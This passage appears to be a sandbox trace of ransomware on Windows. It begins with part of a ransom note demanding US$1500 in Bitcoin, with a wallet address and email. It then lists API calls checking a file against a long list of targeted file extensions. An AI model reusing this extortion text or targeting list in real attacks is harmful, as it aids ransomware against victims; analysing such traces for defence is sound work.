nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0108.604] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0108.606] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0108.607] CloseHandle (hObject=0x90) returned 1 [0108.607] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\", lpString2="Microsoft.Office.InfoPath.Permission.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll" [0108.607] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.ems") returned 0 [0108.607] lstrlenA (lpString="*.ems") returned 5 [0108.607] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.db") returned 0 [0108.607] lstrlenA (lpString="*.db") returned 4 [0108.607] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.dbf") returned 0 [0108.607] lstrlenA (lpString="*.dbf") returned 5 [0108.607] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.myox") returned 0 [0108.607] lstrlenA (lpString="*.myox") returned 6 [0108.607] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.myo") returned 0 [0108.607] lstrlenA (lpString="*.myo") returned 5 [0108.608] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.qbw") returned 0 [0108.608] lstrlenA (lpString="*.qbw") returned 5 [0108.608] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.qbb") returned 0 [0108.608] lstrlenA (lpString="*.qbb") returned 5 [0108.608] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.qbm") returned 0 [0108.608] lstrlenA (lpString="*.qbm") returned 5 [0108.608] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.qbo") returned 0 [0108.608] lstrlenA (lpString="*.qbo") returned 5 [0108.608] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.qbx") returned 0 [0108.608] lstrlenA (lpString="*.qbx") returned 5 [0108.608] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.qba") returned 0 [0108.608] lstrlenA (lpString="*.qba") returned 5 [0108.608] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.qby") returned 0 [0108.608] lstrlenA (lpString="*.qby") returned 5 [0108.608] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.qbj") returned 0 [0108.608] lstrlenA (lpString="*.qbj") returned 5 [0108.608] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.ofx") returned 0 [0108.609] lstrlenA (lpString="*.ofx") returned 5 [0108.609] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.qif") returned 0 [0108.609] lstrlenA (lpString="*.qif") returned 5 [0108.609] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.mye") returned 0 [0108.609] lstrlenA (lpString="*.mye") returned 5 [0108.609] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.mbox") returned 0 [0108.609] lstrlenA (lpString="*.mbox") returned 6 [0108.609] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.eml") returned 0 [0108.609] lstrlenA (lpString="*.eml") returned 5 [0108.609] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.pst") returned 0 [0108.609] lstrlenA (lpString="*.pst") returned 5 [0108.609] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.ost") returned 0 [0108.609] lstrlenA (lpString="*.ost") returned 5 [0108.609] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.idx") returned 0 [0108.609] lstrlenA (lpString="*.idx") returned 5 [0108.609] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.dbx") returned 0 [0108.609] lstrlenA (lpString="*.dbx") returned 5 [0108.610] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.sql") returned 0 [0108.610] lstrlenA (lpString="*.sql") returned 5 [0108.610] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.mdb") returned 0 [0108.610] lstrlenA (lpString="*.mdb") returned 5 [0108.610] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.fdb") returned 0 [0108.610] lstrlenA (lpString="*.fdb") returned 5 [0108.610] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.wab") returned 0 [0108.610] lstrlenA (lpString="*.wab") returned 5 [0108.610] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.dat") returned 0 [0108.610] lstrlenA (lpString="*.dat") returned 5 [0108.610] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.txt") returned 0 [0108.610] lstrlenA (lpString="*.txt") returned 5 [0108.610] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.jpeg") returned 0 [0108.610] lstrlenA (lpString="*.jpeg") returned 6 [0108.610] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.jpg") returned 0 [0108.610] lstrlenA (lpString="*.jpg") returned 5 [0108.611] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.png") returned 0 [0108.611] lstrlenA (lpString="*.png") returned 5 [0108.611] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.php") returned 0 [0108.611] lstrlenA (lpString="*.php") returned 5 [0108.611] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.cs") returned 0 [0108.611] lstrlenA (lpString="*.cs") returned 4 [0108.611] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.cpp") returned 0 [0108.611] lstrlenA (lpString="*.cpp") returned 5 [0108.611] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.rar") returned 0 [0108.611] lstrlenA (lpString="*.rar") returned 5 [0108.611] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.zip") returned 0 [0108.611] lstrlenA (lpString="*.zip") returned 5 [0108.611] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.html") returned 0 [0108.611] lstrlenA (lpString="*.html") returned 6 [0108.611] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.htm") returned 0 [0108.611] lstrlenA (lpString="*.htm") returned 5 [0108.611] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.xlsx") returned 0 [0108.612] lstrlenA (lpString="*.xlsx") returned 6 [0108.612] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.xls") returned 0 [0108.612] lstrlenA (lpString="*.xls") returned 5 [0108.612] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.mp4") returned 0 [0108.612] lstrlenA (lpString="*.mp4") returned 5 [0108.612] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.ppt") returned 0 [0108.612] lstrlenA (lpString="*.ppt") returned 5 [0108.612] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.pptx") returned 0 [0108.612] lstrlenA (lpString="*.pptx") returned 6 [0108.612] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.doc") returned 0 [0108.612] lstrlenA (lpString="*.doc") returned 5 [0108.612] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.dot") returned 0 [0108.612] lstrlenA (lpString="*.dot") returned 5 [0108.612] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.docx") returned 0 [0108.612] lstrlenA (lpString="*.docx") returned 6 [0108.612] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.7z") returned 0 [0108.612] lstrlenA (lpString="*.7z") returned 4 [0108.613] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.tar") returned 0 [0108.613] lstrlenA (lpString="*.tar") returned 5 [0108.613] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.bz2") returned 0 [0108.613] lstrlenA (lpString="*.bz2") returned 5 [0108.613] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.gz") returned 0 [0108.613] lstrlenA (lpString="*.gz") returned 4 [0108.613] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.mkv") returned 0 [0108.613] lstrlenA (lpString="*.mkv") returned 5 [0108.613] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.eml") returned 0 [0108.613] lstrlenA (lpString="*.eml") returned 5 [0108.613] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.msg") returned 0 [0108.613] lstrlenA (lpString="*.msg") returned 5 [0108.613] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.edb") returned 0 [0108.613] lstrlenA (lpString="*.edb") returned 5 [0108.613] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.accdb") returned 0 [0108.613] lstrlenA (lpString="*.accdb") returned 7 [0108.613] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.odb") returned 0 [0108.613] lstrlenA (lpString="*.odb") returned 5 [0108.614] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.java") returned 0 [0108.614] lstrlenA (lpString="*.java") returned 6 [0108.614] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.asm") returned 0 [0108.614] lstrlenA (lpString="*.asm") returned 5 [0108.614] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.pfx") returned 0 [0108.614] lstrlenA (lpString="*.pfx") returned 5 [0108.614] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.pem") returned 0 [0108.614] lstrlenA (lpString="*.pem") returned 5 [0108.614] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.p12") returned 0 [0108.614] lstrlenA (lpString="*.p12") returned 5 [0108.614] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.gpg") returned 0 [0108.614] lstrlenA (lpString="*.gpg") returned 5 [0108.614] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.vsd") returned 0 [0108.614] lstrlenA (lpString="*.vsd") returned 5 [0108.614] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.odg") returned 0 [0108.614] lstrlenA (lpString="*.odg") returned 5 [0108.614] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.raw") returned 0 [0108.615] lstrlenA (lpString="*.raw") returned 5 [0108.615] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.nef") returned 0 [0108.615] lstrlenA (lpString="*.nef") returned 5 [0108.615] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.svg") returned 0 [0108.615] lstrlenA (lpString="*.svg") returned 5 [0108.615] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.psd") returned 0 [0108.615] lstrlenA (lpString="*.psd") returned 5 [0108.615] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.vmx") returned 0 [0108.615] lstrlenA (lpString="*.vmx") returned 5 [0108.615] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.vmdk") returned 0 [0108.615] lstrlenA (lpString="*.vmdk") returned 6 [0108.615] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.vdi") returned 0 [0108.615] lstrlenA (lpString="*.vdi") returned 5 [0108.615] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.lay6") returned 0 [0108.615] lstrlenA (lpString="*.lay6") returned 6 [0108.615] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.mpeg") returned 0 [0108.615] lstrlenA (lpString="*.mpeg") returned 6 [0108.615] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.djvu") returned 0 [0108.615] lstrlenA (lpString="*.djvu") returned 6 [0108.616] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.tiff") returned 0 [0108.616] lstrlenA (lpString="*.tiff") returned 6 [0108.616] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.backup") returned 0 [0108.616] lstrlenA (lpString="*.backup") returned 8 [0108.616] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.pdf") returned 0 [0108.616] lstrlenA (lpString="*.pdf") returned 5 [0108.616] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.cert") returned 0 [0108.616] lstrlenA (lpString="*.cert") returned 6 [0108.616] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.docm") returned 0 [0108.616] lstrlenA (lpString="*.docm") returned 6 [0108.616] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.xlsm") returned 0 [0108.616] lstrlenA (lpString="*.xlsm") returned 6 [0108.616] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.dwg") returned 0 [0108.616] lstrlenA (lpString="*.dwg") returned 5 [0108.617] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.nd") returned 0 [0108.617] lstrlenA (lpString="*.nd") returned 4 [0108.617] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.tlg") returned 0 [0108.617] lstrlenA (lpString="*.tlg") returned 5 [0108.617] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.lgb") returned 0 [0108.617] lstrlenA (lpString="*.lgb") returned 5 [0108.617] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.mov") returned 0 [0108.617] lstrlenA (lpString="*.mov") returned 5 [0108.617] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.xdw") returned 0 [0108.617] lstrlenA (lpString="*.xdw") returned 5 [0108.617] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.ods") returned 0 [0108.617] lstrlenA (lpString="*.ods") returned 5 [0108.617] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.wav") returned 0 [0108.617] lstrlenA (lpString="*.wav") returned 5 [0108.617] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.mp3") returned 0 [0108.617] lstrlenA (lpString="*.mp3") returned 5 [0108.617] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.aiff") returned 0 [0108.617] lstrlenA (lpString="*.aiff") returned 6 [0108.617] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.flac") returned 0 